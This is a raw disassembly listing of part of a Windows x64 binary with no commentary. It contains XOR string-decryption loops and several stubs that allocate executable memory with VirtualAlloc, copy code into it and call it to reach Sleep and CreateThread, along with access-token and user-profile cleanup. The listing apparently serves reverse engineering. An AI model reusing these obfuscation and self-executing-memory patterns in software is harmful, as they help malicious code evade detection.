pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14022fc80
cmp r9d, 0x31
jge 0x14022fe71
movsxd rax, r9d
lea r10, [rsp + 0x450]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x31
jl 0x14022fe20
xorps xmm0, xmm0
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], rdi
lea rax, [rsp + 0x450]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022fea0
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x330]
call fcn.140206910
lea rcx, [rsp + 0x330]
call fcn.1401fa260
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x174], 0x5dc
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140282110]
test rcx, rcx
je 0x14022ff5c
mov r8, rdi
lea rax, [0x1402385f0]
cmp rcx, rax
je 0x14022ff4b
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x282110]
test rcx, rcx
jne 0x14022ff32
jmp 0x14022ff5c
mov r8, qword [rsi + r8*8 + 0x2843f0]
test r8, r8
jne 0x140230048
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022ff85
mov r8, rdi
jmp 0x140230020
lea rax, [0x1402385f0]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022ff92
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140282760]
lea rcx, [0x1402385f0]
mov qword [rsi + rax*8 + 0x282110], rcx
mov qword [rsi + rax*8 + 0x2843f0], r8
inc rax
mov qword [0x140282760], rax
lea rdx, [rsp + 0x174]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [str.w.0__6_5t]
movups xmmword [rsp + 0x218], xmm0
movups xmm1, xmmword [0x14026d590]
movups xmmword [rsp + 0x228], xmm1
movzx eax, word [0x14026d5a0]
mov word [rsp + 0x238], ax
mov r9d, edi
cmp dword [0x14027e090], 2
jl 0x140230243
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x21c]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1402300c0
cmp r9d, 0x22
jge 0x1402302b1
movsxd rax, r9d
lea r10, [rsp + 0x218]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140230260
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], rdi
mov qword [rsp + 0x368], rdi
lea rax, [rsp + 0x218]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402302e0
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x350]
call fcn.140206910
lea rcx, [rsp + 0x350]
call fcn.1401fa260
nop
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x1d0], rdi
mov dword [rsp + 0x178], edi
mov qword [rsp + 0x1b8], rdi
lea rax, [0x1401fd590]
mov qword [rsp + 0x1c0], rax
mov dword [rsp + 0x17c], edi
mov qword [rsp + 0x1c8], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140284730]
test rcx, rcx
je 0x1402303ca
mov r10, rdi
lea rax, [0x140238d70]
nop dword [rax]
cmp rcx, rax
je 0x1402303b9
inc edx
mov r10d, edx
mov rcx, qword [rsi + rdx*8 + 0x284730]
test rcx, rcx
jne 0x1402303a0
jmp 0x1402303ca
mov r10, qword [rsi + r10*8 + 0x2856f0]
test r10, r10
jne 0x1402304b6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1402303f3
mov r10, rdi
jmp 0x14023048e
lea rax, [0x140238d70]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140230400
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283a30]
lea rcx, [0x140238d70]
mov qword [rsi + rax*8 + 0x284730], rcx
mov qword [rsi + rax*8 + 0x2856f0], r10
inc rax
mov qword [0x140283a30], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1c0]
lea r8, [rsp + 0x17c]
lea rdx, [rsp + 0x1c8]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
jmp 0x140230578
lea rcx, [0x140238d70]
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x1d8], rdi
mov dword [rsp + 0x150], edi
mov qword [rsp + 0x1e0], rdi
lea rax, [0x140229de0]
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x154], edi
mov qword [rsp + 0x180], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rdx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rdx
mov rax, qword [rdx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rdx], rdi
mov edx, edi
mov rax, qword [0x140284730]
test rax, rax
je 0x140230632
mov r10, rdi
cmp rax, rcx
je 0x140230621
inc edx
mov r10d, edx
mov rax, qword [rsi + rdx*8 + 0x284730]
test rax, rax
jne 0x140230608
jmp 0x140230632
mov r10, qword [rsi + r10*8 + 0x2856f0]
test r10, r10
jne 0x140230726
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14023065b
mov r10, rdi
jmp 0x1402306fe
lea rax, [0x140238d70]
mov rcx, r10
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140230670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283a30]
lea rcx, [0x140238d70]
mov qword [rsi + rax*8 + 0x284730], rcx
mov qword [rsi + rax*8 + 0x2856f0], r10
inc rax
mov qword [0x140283a30], rax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e8]
lea r8, [rsp + 0x154]
lea rdx, [rsp + 0x180]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
jmp 0x1402307e8
mov eax, dword [0x14027e090]
movups xmm4, xmmword [0x14026ca98]
movups xmmword [rsp + 0xd8], xmm4
mov edx, dword [0x14026caa8]
mov dword [rsp + 0xe8], edx
cmp byte [0x14026caab], 0
je 0x140230bfc
mov rax, qword [rsp + 0xc60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc60], rax
mov rax, qword [rsp + 0xc60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc5c], edx
lea rcx, [rsp + 0xc70]
call fcn.140234970
lea rcx, [rsp + 0xc78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xb78]
call fcn.140236770
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbe0], rax
mov rdx, qword [rsp + 0xc50]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1402316d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc48]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1402316fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc40]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140231721
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x140231747
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb58], rax
mov rdx, qword [rsp + 0xb68]
mov rcx, qword [rsp + 0xb60]
test rdx, rdx
je 0x140231786
test rcx, rcx
je 0x14023177e
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xb60]
mov qword [rsp + 0xb68], rdi
test rcx, rcx
je 0x140231799
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xb60], rdi
mov edx, 8
mov rcx, qword [rsp + 0xb70]
call fcn.14025ba20
mov qword [rsp + 0xb70], rdi
lea rcx, [rsp + 0xbb8]
call fcn.140236770
nop
mov rcx, qword [rsp + 0xba0]
xor rcx, r14
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa9d0]
xor rcx, rsp
call fcn.14025ba00
lea r11, [rsp + 0xaa50]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov ecx, dword [rbx + 0x20]
jne 0x14022c250
mov rax, qword [rax]
jmp 0x14022c220
call fcn.1401f1090
nop
mov ecx, 0x80004005
call fcn.1401f1b00
nop
mov ecx, 0x80004005
call fcn.1401f1b00
nop
mov ecx, 0x80004005
call fcn.1401f1b00
nop
mov ecx, 0x80004005
call fcn.1401f1b00
int3